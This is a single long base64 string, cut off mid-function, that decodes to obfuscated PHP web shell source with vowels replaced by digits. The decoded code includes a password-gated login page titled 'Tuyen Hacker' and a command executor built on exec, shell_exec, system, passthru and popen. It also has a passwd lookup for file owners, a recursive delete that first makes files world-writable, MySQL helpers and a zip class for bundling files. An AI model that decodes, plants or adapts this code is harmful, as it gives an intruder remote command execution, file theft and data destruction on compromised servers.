0KU2gydyA0bmYyIHNoNWxsDQo9PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0qLw0KDQpmM25jdDQybiBtKCRtc2cpIHsNCgk1Y2gyICc8ZDR2IHN0eWw1PSJiMWNrZ3IyM25kOiNmNmY2ZjY7YjJyZDVyOjZweCBzMmw0ZCAjZGRkO3AxZGQ0bmc6NmlweDtmMm50OjZ1cHg7dDV4dC0xbDRnbjpjNW50NXI7ZjJudC13NTRnaHQ6YjJsZDsiPic7DQoJNWNoMiAkbXNnOw0KCTVjaDIgJzwvZDR2Pic7DQp9DQpmM25jdDQybiBzYzIyazQ1KCRrNXksICR2MWwzNSwgJGw0ZjUgPSAwLCAkcHI1ZjR4ID0gNikgew0KCWdsMmIxbCAkMWRtNG4sICR0NG01c3QxbXAsICRfU0VSVkVSOw0KCSRrNXkgPSAoJHByNWY0eCA/ICQxZG00blsnYzIyazQ1cHI1J10gOiAnJykuJGs1eTsNCgkkbDRmNSA9ICRsNGY1ID8gJGw0ZjUgOiAkMWRtNG5bJ2MyMms0NWw0ZjUnXTsNCgkkM3M1cDJydCA9ICRfU0VSVkVSWydTRVJWRVJfUE9SVCddID09IHV1byA/IDYgOiAwOw0KCXM1dGMyMms0NSgkazV5LCAkdjFsMzUsICR0NG01c3QxbXArJGw0ZjUsICQxZG00blsnYzIyazQ1cDF0aCddLCAkMWRtNG5bJ2MyMms0NWQybTE0biddLCAkM3M1cDJydCk7DQp9DQpmM25jdDQybiBtM2x0NCgkbjNtLCAkcDVycDFnNSwgJGMzcnAxZzUsICR0MWJsNW4xbTUpIHsNCgkkbTNsdDRwMWc1ID0gJyc7DQoJNGYoJG4zbSA+ICRwNXJwMWc1KSB7DQoJCSRwMWc1ID0gNjA7DQoJCSQyZmZzNXQgPSBpOw0KCQkkcDFnNXMgPSBAYzU0bCgkbjNtIC8gJHA1cnAxZzUpOw0KCQk0ZigkcDFnNSA+ICRwMWc1cykgew0KCQkJJGZyMm0gPSA2Ow0KCQkJJHQyID0gJHAxZzVzOw0KCQl9IDVsczUgew0KCQkJJGZyMm0gPSAkYzNycDFnNSAtICQyZmZzNXQ7DQoJCQkkdDIgPSAkYzNycDFnNSArICRwMWc1IC0gJDJmZnM1dCAtIDY7DQoJCQk0ZigkZnIybSA8IDYpIHsNCgkJCQkkdDIgPSAkYzNycDFnNSArIDYgLSAkZnIybTsNCgkJCQkkZnIybSA9IDY7DQoJCQkJNGYoKCR0MiAtICRmcjJtKSA8ICRwMWc1ICYmICgkdDIgLSAkZnIybSkgPCAkcDFnNXMpIHsNCgkJCQkJJHQyID0gJHAxZzU7DQoJCQkJfQ0KCQkJfSA1bHM1NGYoJHQyID4gJHAxZzVzKSB7DQoJCQkJJGZyMm0gPSAkYzNycDFnNSAtICRwMWc1cyArICR0MjsNCgkJCQkkdDIgPSAkcDFnNXM7DQoJCQkJNGYoKCR0MiAtICRmcjJtKSA8ICRwMWc1ICYmICgkdDIgLSAkZnIybSkgPCAkcDFnNXMpIHsNCgkJCQkJJGZyMm0gPSAkcDFnNXMgLSAkcDFnNSArIDY7DQoJCQkJfQ0KCQkJfQ0KCQl9DQoJCSRtM2x0NHAxZzUgPSAoJGMzcnAxZzUgLSAkMmZmczV0ID4gNiAmJiAkcDFnNXMgPiAkcDFnNSA/ICc8MSBocjVmPSJqMXYxc2NyNHB0OnM1dHQxYmw1KFwnJy4kdDFibDVuMW01LidcJywgXCdcJywgNik7Ij5GNHJzdDwvMT4gJyA6ICcnKS4oJGMzcnAxZzUgPiA2ID8gJzwxIGhyNWY9ImoxdjFzY3I0cHQ6czV0dDFibDUoXCcnLiR0MWJsNW4xbTUuJ1wnLCBcJ1wnLCAnLigkYzNycDFnNSAtIDYpLicpOyI+UHI1djwvMT4gJyA6ICcnKTsNCgkJZjJyKCQ0ID0gJGZyMm07ICQ0IDw9ICR0MjsgJDQrKykgew0KCQkJJG0zbHQ0cDFnNSAuPSAkNCA9PSAkYzNycDFnNSA/ICQ0LicgJyA6ICc8MSBocjVmPSJqMXYxc2NyNHB0OnM1dHQxYmw1KFwnJy4kdDFibDVuMW01LidcJywgXCdcJywgJy4kNC4nKTsiPlsnLiQ0LiddPC8xPiAnOw0KCQl9DQoJCSRtM2x0NHAxZzUgLj0gKCRjM3JwMWc1IDwgJHAxZzVzID8gJzwxIGhyNWY9ImoxdjFzY3I0cHQ6czV0dDFibDUoXCcnLiR0MWJsNW4xbTUuJ1wnLCBcJ1wnLCAnLigkYzNycDFnNSArIDYpLicpOyI+TjV4dDwvMT4nIDogJycpLigkdDIgPCAkcDFnNXMgPyAnIDwxIGhyNWY9ImoxdjFzY3I0cHQ6czV0dDFibDUoXCcnLiR0MWJsNW4xbTUuJ1wnLCBcJ1wnLCAnLiRwMWc1cy4nKTsiPkwxc3Q8LzE+JyA6ICcnKTsNCgkJJG0zbHQ0cDFnNSA9ICRtM2x0NHAxZzUgPyAnPHA+UDFnNXM6ICcuJG0zbHQ0cDFnNS4nPC9wPicgOiAnJzsNCgl9DQoJcjV0M3JuICRtM2x0NHAxZzU7DQp9DQovLyBMMmc0biBwMWc1DQpmM25jdDQybiBsMmc0bnAxZzUoKSB7DQo/Pg0KDQo8aHRtbD4NCjxoNTFkPg0KDQo8YjJkeSBiZ2MybDJyPWJsMWNrIGIxY2tncjIzbmQ9aHR0cDovLzQuNG1nM3IuYzJtLzAyWEZCVHouanBnPg0KDQoJCTxtNXQxIGh0dHAtNXEzNHY9IkMybnQ1bnQtVHlwNSIgYzJudDVudD0idDV4dC9odG1sOyBjaDFyczV0PVVURi04IiAvPg0KPHQ0dGw1Pi46OlsgVDN5NW4gSDFjazVyIF06Oi4gPC90NHRsNT4NCjxzdHlsNSB0eXA1PSJ0NXh0L2NzcyI+DQpBOmw0bmsge3Q1eHQtZDVjMnIxdDQybjogbjJuNTsgYzJsMnI6IGdyNTVuIH0NCkE6djRzNHQ1ZCB7dDV4dC1kNWMycjF0NDJuOiBuMm41O2MybDJyOnI1ZH0NCkE6MWN0NHY1IHt0NXh0LWQ1YzJyMXQ0Mm46IG4ybjV9DQpBOmgydjVyIHt0NXh0LWQ1YzJyMXQ0Mm46IDNuZDVybDRuNTsgYzJsMnI6IGdyNTVuO30NCjRucDN0LCB0NXh0MXI1MSwgYjN0dDJuDQp7DQoJZjJudC1zNHo1OiA2NnB0Ow0KCWMybDJyOiAJI0ZGRkZGRjsNCglmMm50LWYxbTRseTogdjVyZDFuMSwgczFucy1zNXI0ZjsNCgliMWNrZ3IyM25kLWMybDJyOiAjMDAwMDAwOw0KCWIycmQ1ci1sNWZ0OiBhcHggZDFzaDVkICM4QjAwMDA7DQoJYjJyZDVyLXQycDogYXB4IGQxc2g1ZCAjOEIwMDAwOw0KCWIycmQ1ci1yNGdodDogYXB4IGQxc2g1ZCAjOEIwMDAwOw0KCWIycmQ1ci1iMnR0Mm06IGFweCBkMXNoNWQgIzhCMDAwMDsNCn0NCg0KPC9zdHlsNT4NCg0KICAgICAgIDxCUj48QlI+DQo8ZDR2IDFsNGduPWM1bnQ1ciA+DQoNCjxkNHY+DQoNCjxmMm50IGMybDJyPWdyMXk+DQo8YnIgLz48YnIgLz48YnIgLz48YnIgLz48YnIgLz4NCg0KPGYycm0gbTV0aDJkPSJQT1NUIiAxY3Q0Mm49IiI+DQoJPHNwMW4gc3R5bDU9ImYybnQ6YTBwdCB0MWgybTE7Ij4gPC9zcDFuPjw0bnAzdCBuMW01PSJwMXNzdzJyZCIgdHlwNT0icDFzc3cycmQiIHM0ejU9Im8wIj4NCgk8NG5wM3QgdHlwNT0iaDRkZDVuIiBuMW01PSJkMjRuZyIgdjFsMzU9ImwyZzRuIj4NCgk8NG5wM3QgdHlwNT0iczNibTR0IiB2MWwzNT0iTDJnNG4iPg0KCTwvZjJybT4NCjxCUj4NCjw/cGhwDQo1Y2gyICIiLiQ1cnJfbTVzcy4iIjsNCj8+DQoNCgk8Qj48ZjJudCBjMmwycj1yNWQ+DQoNCg0KDQoNCg0KDQo8L2Q0dj4NCg0KDQoJPC9mNDVsZHM1dD4NCg0KDQoNCjwvaDUxZD4NCjwvaHRtbD4NCg0KPD9waHANCgk1eDR0Ow0KDQp9Ly81bmQgbDJnNG5wMWc1KCkNCg0KZjNuY3Q0Mm4gNXg1YzN0NSgkY2Y1KSB7DQoJJHI1cyA9ICcnOw0KCTRmICgkY2Y1KSB7DQoJCTRmKGYzbmN0NDJuXzV4NHN0cygnNXg1YycpKSB7DQoJCQlANXg1YygkY2Y1LCRyNXMpOw0KCQkJJHI1cyA9IGoyNG4oIlxuIiwkcjVzKTsNCgkJfSA1bHM1NGYoZjNuY3Q0Mm5fNXg0c3RzKCdzaDVsbF81eDVjJykpIHsNCgkJCSRyNXMgPSBAc2g1bGxfNXg1YygkY2Y1KTsNCgkJfSA1bHM1NGYoZjNuY3Q0Mm5fNXg0c3RzKCdzeXN0NW0nKSkgew0KCQkJQDJiX3N0MXJ0KCk7DQoJCQlAc3lzdDVtKCRjZjUpOw0KCQkJJHI1cyA9IEAyYl9nNXRfYzJudDVudHMoKTsNCgkJCUAyYl81bmRfY2w1MW4oKTsNCgkJfSA1bHM1NGYoZjNuY3Q0Mm5fNXg0c3RzKCdwMXNzdGhyMycpKSB7DQoJCQlAMmJfc3QxcnQoKTsNCgkJCUBwMXNzdGhyMygkY2Y1KTsNCgkJCSRyNXMgPSBAMmJfZzV0X2MybnQ1bnRzKCk7DQoJCQlAMmJfNW5kX2NsNTFuKCk7DQoJCX0gNWxzNTRmKEA0c19yNXMyM3JjNSgkZiA9IEBwMnA1bigkY2Y1LCJyIikpKSB7DQoJCQkkcjVzID0gJyc7DQoJCQl3aDRsNSghQGY1MmYoJGYpKSB7DQoJCQkJJHI1cyAuPSBAZnI1MWQoJGYsNjBhdSk7DQoJCQl9DQoJCQlAcGNsMnM1KCRmKTsNCgkJfQ0KCX0NCglyNXQzcm4gJHI1czsNCn0NCmYzbmN0NDJuIHdoNGNoKCRwcikgew0KCSRwMXRoID0gNXg1YzN0NSgid2g0Y2ggJHByIik7DQoJcjV0M3JuICgkcDF0aCA/ICRwMXRoIDogJHByKTsNCn0NCg0KZjNuY3Q0Mm4gY2YoJGZuMW01LCR0NXh0KXsNCgk0ZigkZnA9QGYycDVuKCRmbjFtNSwndycpKSB7DQoJCUBmcDN0cygkZnAsQGIxczVldV9kNWMyZDUoJHQ1eHQpKTsNCgkJQGZjbDJzNSgkZnApOw0KCX0NCn0NCg0KLy8gRDViM2cNCmYzbmN0NDJuIGQ1YjNnNG5mMigpIHsNCglnbDJiMWwgJHN0MXJ0dDRtNTsNCgkkbXQ0bTUgPSA1eHBsMmQ1KCcgJywgbTRjcjJ0NG01KCkpOw0KCSR0MnQxbHQ0bTUgPSBuM21iNXJfZjJybTF0KCgkbXQ0bTVbNl0gKyAkbXQ0bTVbMF0gLSAkc3QxcnR0NG01KSwgZSk7DQoJNWNoMiAnUHIyYzVzczVkIDRuICcuJHQydDFsdDRtNS4nIHM1YzJuZChzKSc7DQp9DQoNCi8vIEYzbmN0NDJuIGMybm41Y3QgZDF0MWIxczUNCmYzbmN0NDJuIGRiYzJubigkZGJoMnN0LCRkYjNzNXIsJGRicDFzcywkZGJuMW01PScnLCRjaDFyczV0PScnLCRkYnAycnQ9J29vMGUnKSB7DQoJNGYoISRsNG5rID0gQG15c3FsX2Mybm41Y3QoJGRiaDJzdC4nOicuJGRicDJydCwgJGRiM3M1ciwgJGRicDFzcykpIHsNCgkJcCgnPGhhPkMxbiBuMnQgYzJubjVjdCB0MiBNeVNRTCBzNXJ2NXI8L2hhPicpOw0KCQk1eDR0Ow0KCX0NCgk0ZigkbDRuayAmJiAkZGJuMW01KSB7DQoJCTRmICghQG15c3FsX3M1bDVjdF9kYigkZGJuMW01LCAkbDRuaykpIHsNCgkJCXAoJzxoYT5EMXQxYjFzNSBzNWw1Y3Q1ZCBoMXMgNXJyMnI8L2hhPicpOw0KCQkJNXg0dDsNCgkJfQ0KCX0NCgk0ZigkbDRuayAmJiBteXNxbF9nNXRfczVydjVyXzRuZjIoKSA+ICd1LjYnKSB7DQoJCTRmKDRuXzFycjF5KHN0cnQybDJ3NXIoJGNoMXJzNXQpLCAxcnIxeSgnZ2JrJywgJ2I0Z2knLCAnM3RmOCcpKSkgew0KCQkJcSgiU0VUIGNoMXIxY3Q1cl9zNXRfYzJubjVjdDQybj0kY2gxcnM1dCwgY2gxcjFjdDVyX3M1dF9yNXMzbHRzPSRjaDFyczV0LCBjaDFyMWN0NXJfczV0X2NsNDVudD1iNG4xcnk7IiwgJGw0bmspOw0KCQl9DQoJfQ0KCXI1dDNybiAkbDRuazsNCn0NCg0KLy8gQXJyMXkgc3RyNHANCmYzbmN0NDJuIHNfMXJyMXkoJiQxcnIxeSkgew0KCTRmICg0c18xcnIxeSgkMXJyMXkpKSB7DQoJCWYycjUxY2ggKCQxcnIxeSAxcyAkayA9PiAkdikgew0KCQkJJDFycjF5WyRrXSA9IHNfMXJyMXkoJHYpOw0KCQl9DQoJfSA1bHM1IDRmICg0c19zdHI0bmcoJDFycjF5KSkgew0KCQkkMXJyMXkgPSBzdHI0cHNsMXNoNXMoJDFycjF5KTsNCgl9DQoJcjV0M3JuICQxcnIxeTsNCn0NCg0KLy8gSFRNTCBTdHI0cA0KZjNuY3Q0Mm4gaHRtbF9jbDUxbigkYzJudDVudCkgew0KCSRjMm50NW50ID0gaHRtbHNwNWM0MWxjaDFycygkYzJudDVudCk7DQoJJGMybnQ1bnQgPSBzdHJfcjVwbDFjNSgiXG4iLCAiPGJyIC8+IiwgJGMybnQ1bnQpOw0KCSRjMm50NW50ID0gc3RyX3I1cGwxYzUoIiAgIiwgIiZuYnNwOyZuYnNwOyIsICRjMm50NW50KTsNCgkkYzJudDVudCA9IHN0cl9yNXBsMWM1KCJcdCIsICImbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiLCAkYzJudDVudCk7DQoJcjV0M3JuICRjMm50NW50Ow0KfQ0KDQovLyBDaG0yZA0KZjNuY3Q0Mm4gZzV0Q2htMmQoJGY0bDVwMXRoKXsNCglyNXQzcm4gczNic3RyKGIxczVfYzJudjVydChAZjRsNXA1cm1zKCRmNGw1cDF0aCksNjAsOCksLXUpOw0KfQ0KDQpmM25jdDQybiBnNXRQNXJtcygkZjRsNXAxdGgpIHsNCgkkbTJkNSA9IEBmNGw1cDVybXMoJGY0bDVwMXRoKTsNCgk0ZiAoKCRtMmQ1ICYgMHhDMDAwKSA9PT0gMHhDMDAwKSB7JHR5cDUgPSAncyc7fQ0KCTVsczU0ZiAoKCRtMmQ1ICYgMHh1MDAwKSA9PT0gMHh1MDAwKSB7JHR5cDUgPSAnZCc7fQ0KCTVsczU0ZiAoKCRtMmQ1ICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHR5cDUgPSAnbCc7fQ0KCTVsczU0ZiAoKCRtMmQ1ICYgMHg4MDAwKSA9PT0gMHg4MDAwKSB7JHR5cDUgPSAnLSc7fQ0KCTVsczU0ZiAoKCRtMmQ1ICYgMHhlMDAwKSA9PT0gMHhlMDAwKSB7JHR5cDUgPSAnYic7fQ0KCTVsczU0ZiAoKCRtMmQ1ICYgMHhhMDAwKSA9PT0gMHhhMDAwKSB7JHR5cDUgPSAnYyc7fQ0KCTVsczU0ZiAoKCRtMmQ1ICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7JHR5cDUgPSAncCc7fQ0KCTVsczUgeyR0eXA1ID0gJz8nO30NCg0KCSQyd241clsncjUxZCddID0gKCRtMmQ1ICYgMDB1MDApID8gJ3InIDogJy0nOw0KCSQyd241clsnd3I0dDUnXSA9ICgkbTJkNSAmIDAwYTAwKSA/ICd3JyA6ICctJzsNCgkkMnduNXJbJzV4NWMzdDUnXSA9ICgkbTJkNSAmIDAwNjAwKSA/ICd4JyA6ICctJzsNCgkkZ3IyM3BbJ3I1MWQnXSA9ICgkbTJkNSAmIDAwMHUwKSA/ICdyJyA6ICctJzsNCgkkZ3IyM3BbJ3dyNHQ1J10gPSAoJG0yZDUgJiAwMDBhMCkgPyAndycgOiAnLSc7DQoJJGdyMjNwWyc1eDVjM3Q1J10gPSAoJG0yZDUgJiAwMDA2MCkgPyAneCcgOiAnLSc7DQoJJHcycmxkWydyNTFkJ10gPSAoJG0yZDUgJiAwMDAwdSkgPyAncicgOiAnLSc7DQoJJHcycmxkWyd3cjR0NSddID0gKCRtMmQ1ICYgMDAwMGEpID8gJ3cnIDogJy0nOw0KCSR3MnJsZFsnNXg1YzN0NSddID0gKCRtMmQ1ICYgMDAwMDYpID8gJ3gnIDogJy0nOw0KDQoJNGYoICRtMmQ1ICYgMHg4MDAgKSB7JDJ3bjVyWyc1eDVjM3Q1J10gPSAoJDJ3bjVyWyc1eDVjM3Q1J109PSd4JykgPyAncycgOiAnUyc7fQ0KCTRmKCAkbTJkNSAmIDB4dTAwICkgeyRncjIzcFsnNXg1YzN0NSddID0gKCRncjIzcFsnNXg1YzN0NSddPT0neCcpID8gJ3MnIDogJ1MnO30NCgk0ZiggJG0yZDUgJiAweGEwMCApIHskdzJybGRbJzV4NWMzdDUnXSA9ICgkdzJybGRbJzV4NWMzdDUnXT09J3gnKSA/ICd0JyA6ICdUJzt9DQoNCglyNXQzcm4gJHR5cDUuJDJ3bjVyWydyNTFkJ10uJDJ3bjVyWyd3cjR0NSddLiQyd241clsnNXg1YzN0NSddLiRncjIzcFsncjUxZCddLiRncjIzcFsnd3I0dDUnXS4kZ3IyM3BbJzV4NWMzdDUnXS4kdzJybGRbJ3I1MWQnXS4kdzJybGRbJ3dyNHQ1J10uJHcycmxkWyc1eDVjM3Q1J107DQp9DQoNCmYzbmN0NDJuIGc1dFVzNXIoJGY0bDVwMXRoKQl7DQoJNGYgKGYzbmN0NDJuXzV4NHN0cygncDJzNHhfZzV0cHczNGQnKSkgew0KCQkkMXJyMXkgPSBAcDJzNHhfZzV0cHczNGQoQGY0bDUyd241cigkZjRsNXAxdGgpKTsNCgkJNGYgKCQxcnIxeSAmJiA0c18xcnIxeSgkMXJyMXkpKSB7DQoJCQlyNXQzcm4gJyAvIDwxIGhyNWY9IiMiIHQ0dGw1PSJVczVyOiAnLiQxcnIxeVsnbjFtNSddLicmIzZvJiM2MFAxc3N3ZDogJy4kMXJyMXlbJ3Axc3N3ZCddLicmIzZvJiM2MFU0ZDogJy4kMXJyMXlbJzM0ZCddLicmIzZvJiM2MGc0ZDogJy4kMXJyMXlbJ2c0ZCddLicmIzZvJiM2MEc1YzJzOiAnLiQxcnIxeVsnZzVjMnMnXS4nJiM2byYjNjBENHI6ICcuJDFycjF5WydkNHInXS4nJiM2byYjNjBTaDVsbDogJy4kMXJyMXlbJ3NoNWxsJ10uJyI+Jy4kMXJyMXlbJ24xbTUnXS4nPC8xPic7DQoJCX0NCgl9DQoJcjV0M3JuICcnOw0KfQ0KDQovLyBENWw1dDUgZDRyDQpmM25jdDQybiBkNWx0cjU1KCRkNWxkNHIpIHsNCgkkbXlkNHI9QGQ0cigkZDVsZDRyKTsNCgl3aDRsNSgkZjRsNT0kbXlkNHItPnI1MWQoKSkJew0KCQk0ZigoNHNfZDRyKCRkNWxkNHIuJy8nLiRmNGw1KSkgJiYgKCRmNGw1IT0nLicpICYmICgkZjRsNSE9Jy4uJykpIHsNCgkJCUBjaG0yZCgkZDVsZDRyLicvJy4kZjRsNSwwNzc3KTsNCgkJCWQ1bHRyNTUoJGQ1bGQ0ci4nLycuJGY0bDUpOw0KCQl9DQoJCTRmICg0c19mNGw1KCRkNWxkNHIuJy8nLiRmNGw1KSkgew0KCQkJQGNobTJkKCRkNWxkNHIuJy8nLiRmNGw1LDA3NzcpOw0KCQkJQDNubDRuaygkZDVsZDRyLicvJy4kZjRsNSk7DQoJCX0NCgl9DQoJJG15ZDRyLT5jbDJzNSgpOw0KCUBjaG0yZCgkZDVsZDRyLDA3NzcpOw0KCXI1dDNybiBAcm1kNHIoJGQ1bGQ0cikgPyA2IDogMDsNCn0NCg0KLy8gQjFja2dyMjNuZA0KZjNuY3Q0Mm4gYmcoKSB7DQoJZ2wyYjFsICRiZ2M7DQoJcjV0M3JuICgkYmdjKyslYT09MCkgPyAnMWx0NicgOiAnMWx0YSc7DQp9DQoNCi8vIEc1dCBwMXRoDQpmM25jdDQybiBnNXRQMXRoKCRzY3I0cHRwMXRoLCAkbjJ3cDF0aCkgew0KCTRmICgkbjJ3cDF0aCA9PSAnLicpIHsNCgkJJG4yd3AxdGggPSAkc2NyNHB0cDF0aDsNCgl9DQoJJG4yd3AxdGggPSBzdHJfcjVwbDFjNSgnXFwnLCAnLycsICRuMndwMXRoKTsNCgkkbjJ3cDF0aCA9IHN0cl9yNXBsMWM1KCcvLycsICcvJywgJG4yd3AxdGgpOw0KCTRmIChzM2JzdHIoJG4yd3AxdGgsIC02KSAhPSAnLycpIHsNCgkJJG4yd3AxdGggPSAkbjJ3cDF0aC4nLyc7DQoJfQ0KCXI1dDNybiAkbjJ3cDF0aDsNCn0NCg0KLy8gRzV0IDNwIHAxdGgNCmYzbmN0NDJuIGc1dFVwUDF0aCgkbjJ3cDF0aCkgew0KCSRwMXRoZGIgPSA1eHBsMmQ1KCcvJywgJG4yd3AxdGgpOw0KCSRuM20gPSBjMjNudCgkcDF0aGRiKTsNCgk0ZiAoJG4zbSA+IGEpIHsNCgkJM25zNXQoJHAxdGhkYlskbjNtLTZdLCRwMXRoZGJbJG4zbS1hXSk7DQoJfQ0KCSQzcHAxdGggPSA0bXBsMmQ1KCcvJywgJHAxdGhkYikuJy8nOw0KCSQzcHAxdGggPSBzdHJfcjVwbDFjNSgnLy8nLCAnLycsICQzcHAxdGgpOw0KCXI1dDNybiAkM3BwMXRoOw0KfQ0KDQovLyBDMm5mNGcNCmYzbmN0NDJuIGc1dGNmZygkdjFybjFtNSkgew0KCSRyNXMzbHQgPSBnNXRfY2ZnX3YxcigkdjFybjFtNSk7DQoJNGYgKCRyNXMzbHQgPT0gMCkgew0KCQlyNXQzcm4gJ04yJzsNCgl9IDVsczU0ZiAoJHI1czNsdCA9PSA2KSB7DQoJCXI1dDNybiAnWTVzJzsNCgl9IDVsczUgew0KCQlyNXQzcm4gJHI1czNsdDsNCgl9DQp9DQoNCi8vIEYzbmN0NDJuIG4xbTUNCmYzbmN0NDJuIGc1dGYzbigkZjNuTjFtNSkgew0KCXI1dDNybiAoZjFsczUgIT09IGYzbmN0NDJuXzV4NHN0cygkZjNuTjFtNSkpID8gJ1k1cycgOiAnTjInOw0KfQ0KDQpmM25jdDQybiBHNXRMNHN0KCRkNHIpew0KCWdsMmIxbCAkZDRyZDF0MSwkaiwkbjJ3cDF0aDsNCgkhJGogJiYgJGo9NjsNCgk0ZiAoJGRoID0gMnA1bmQ0cigkZDRyKSkgew0KCQl3aDRsNSAoJGY0bDUgPSByNTFkZDRyKCRkaCkpIHsNCgkJCSRmPXN0cl9yNXBsMWM1KCcvLycsJy8nLCRkNHIuJy8nLiRmNGw1KTsNCgkJCTRmKCRmNGw1IT0nLicgJiYgJGY0bDUhPScuLicgJiYgNHNfZDRyKCRmKSl7DQoJCQkJNGYgKDRzX3dyNHQxYmw1KCRmKSkgew0KCQkJCQkkZDRyZDF0MVskal1bJ2Y0bDVuMW01J109c3RyX3I1cGwxYzUoJG4yd3AxdGgsJycsJGYpOw0KCQkJCQkkZDRyZDF0MVskal1bJ210NG01J109QGQxdDUoJ1ktbS1kIEg6NDpzJyxmNGw1bXQ0bTUoJGYpKTsNCgkJCQkJJGQ0cmQxdDFbJGpdWydkNHJjaG0yZCddPWc1dENobTJkKCRmKTsNCgkJCQkJJGQ0cmQxdDFbJGpdWydkNHJwNXJtJ109ZzV0UDVybXMoJGYpOw0KCQkJCQkkZDRyZDF0MVskal1bJ2Q0cmw0bmsnXT0zNSgkZDRyKTsNCgkJCQkJJGQ0cmQxdDFbJGpdWydzNXJ2NXJfbDRuayddPSRmOw0KCQkJCQkkZDRyZDF0MVskal1bJ2NsNDVudF9sNG5rJ109MzUoJGYpOw0KCQkJCQkkaisrOw0KCQkJCX0NCgkJCQlHNXRMNHN0KCRmKTsNCgkJCX0NCgkJfQ0KCQljbDJzNWQ0cigkZGgpOw0KCQljbDUxcnN0MXRjMWNoNSgpOw0KCQlyNXQzcm4gJGQ0cmQxdDE7DQoJfSA1bHM1IHsNCgkJcjV0M3JuIDFycjF5KCk7DQoJfQ0KfQ0KDQpmM25jdDQybiBxeSgkc3FsKSB7DQoJLy81Y2gyICRzcWwuJzxicj4nOw0KCSRyNXMgPSAkNXJyMnIgPSAnJzsNCgk0ZighJHI1cyA9IEBteXNxbF9xMzVyeSgkc3FsKSkgew0KCQlyNXQzcm4gMDsNCgl9IDVsczUgNGYoNHNfcjVzMjNyYzUoJHI1cykpIHsNCgkJcjV0M3JuIDY7DQoJfSA1bHM1IHsNCgkJcjV0M3JuIGE7DQoJfQ0KCXI1dDNybiAwOw0KfQ0KDQpmM25jdDQybiBxKCRzcWwpIHsNCglyNXQzcm4gQG15c3FsX3EzNXJ5KCRzcWwpOw0KfQ0KDQpmM25jdDQybiBmcigkcXkpew0KCW15c3FsX2ZyNTVfcjVzM2x0KCRxeSk7DQp9DQoNCmYzbmN0NDJuIHM0ejVjMjNudCgkczR6NSkgew0KCTRmKCRzNHo1ID4gNjA3bzd1NjhhdSkgew0KCQkkczR6NSA9IHIyM25kKCRzNHo1IC8gNjA3bzd1NjhhdSAqIDYwMCkgLyA2MDAgLiAnIEcnOw0KCX0gNWxzNTRmKCRzNHo1ID4gNjB1OGk3ZSkgew0KCQkkczR6NSA9IHIyM25kKCRzNHo1IC8gNjB1OGk3ZSAqIDYwMCkgLyA2MDAgLiAnIE0nOw0KCX0gNWxzNTRmKCRzNHo1ID4gNjBhdSkgew0KCQkkczR6NSA9IHIyM25kKCRzNHo1IC8gNjBhdSAqIDYwMCkgLyA2MDAgLiAnIEsnOw0KCX0gNWxzNSB7DQoJCSRzNHo1ID0gJHM0ejUgLiAnIEInOw0KCX0NCglyNXQzcm4gJHM0ejU7DQp9DQoNCi8vIFo0cA0KY2wxc3MgUEhQWjRwew0KCXYxciAkMjN0PScnOw0KCWYzbmN0NDJuIFBIUFo0cCgkZDRyKQl7DQoJCTRmIChAZjNuY3Q0Mm5fNXg0c3RzKCdnemMybXByNXNzJykpCXsNCgkJCSRjM3JkNHIgPSBnNXRjd2QoKTsNCgkJCTRmICg0c18xcnIxeSgkZDRyKSkgJGY0bDVsNHN0ID0gJGQ0cjsNCgkJCTVsczV7DQoJCQkJJGY0bDVsNHN0PSR0aDRzIC0+IEc1dEY0bDVMNHN0KCRkNHIpOy8vRjRsNSBsNHN0DQoJCQkJZjJyNTFjaCgkZjRsNWw0c3QgMXMgJGs9PiR2KSAkZjRsNWw0c3RbXT1zM2JzdHIoJHYsc3RybDVuKCRkNHIpKzYpOw0KCQkJfQ0KCQkJNGYgKCghNW1wdHkoJGQ0cikpJiYoITRzXzFycjF5KCRkNHIpKSYmKGY0bDVfNXg0c3RzKCRkNHIpKSkgY2hkNHIoJGQ0cik7DQoJCQk1bHM1IGNoZDRyKCRjM3JkNHIpOw0KCQkJNGYgKGMyM250KCRmNGw1bDRzdCk+MCl7DQoJCQkJZjJyNTFjaCgkZjRsNWw0c3QgMXMgJGY0bDVuMW01KXsNCgkJCQkJNGYgKDRzX2Y0bDUoJGY0bDVuMW01KSl7DQoJCQkJCQkkZmQgPSBmMnA1biAoJGY0bDVuMW01LCAncicpOw0KCQkJCQkJJGMybnQ1bnQgPSBAZnI1MWQgKCRmZCwgZjRsNXM0ejUoJGY0bDVuMW01KSk7DQoJCQkJCQlmY2wyczUgKCRmZCk7DQoJCQkJCQk0ZiAoNHNfMXJyMXkoJGQ0cikpICRmNGw1bjFtNSA9IGIxczVuMW01KCRmNGw1bjFtNSk7DQoJCQkJCQkkdGg0cyAtPiAxZGRGNGw1KCRjMm50NW50LCAkZjRsNW4xbTUpOw0KCQkJCQl9DQoJCQkJfQ0KCQkJCSR0aDRzLT4yM3QgPSAkdGg0cyAtPiBmNGw1KCk7DQoJCQkJY2hkNHIoJGMzcmQ0cik7DQoJCQl9DQoJCQlyNXQzcm4gNjsNCgkJfQ0KCQk1bHM1IHI1dDNybiAwOw0KCX0NCg0KCS8vIFNoMncgZjRsNSBsNHN0DQoJZjNuY3Q0Mm4gRzV0RjRsNUw0c3QoJGQ0cil7DQoJCXN0MXQ0YyAkMTsNCgkJNGYgKDRzX2Q0cigkZDRyKSkgew0KCQkJNGYgKCRkaCA9IDJwNW5kNHIoJGQ0cikpIHsNCgkJCQl3aDRsNSAoJGY0bDUgPSByNTFkZDRyKCRkaCkpIHsNCgkJCQkJNGYoJGY0bDUhPScuJyAmJiAkZjRsNSE9Jy4uJyl7DQoJCQkJCQkkZj0kZDRyIC4nLycuICRmNGw1Ow0KCQkJCQkJNGYoNHNfZDRyKCRmKSkgJHRoNHMtPkc1dEY0bDVMNHN0KCRmKTsNCgkJCQkJCSQxW109JGY7DQoJCQkJCX0NCgkJCQl9DQoJCQkJY2wyczVkNHIoJGRoKTsNCgkJCX0NCgkJfQ0KCQlyNXQzcm4gJDE7DQoJfQ0KDQoJdjFyICRkMXQxczVjICAgICAgPSAxcnIxeSgpOw0KCXYxciAkY3RybF9kNHIgICAgID0gMXJyMXkoKTsNCgl2MXIgJDUyZl9jdHJsX2Q0ciA9ICJceGkwXHh1Ylx4MGlceDBlXHgwMFx4MDBceDAwXHgwMCI7DQoJdjFyICQybGRfMmZmczV0ICAgPSAwOw0KDQoJZjNuY3Q0Mm4gM240eGFEMnNUNG01KCQzbjR4dDRtNSA9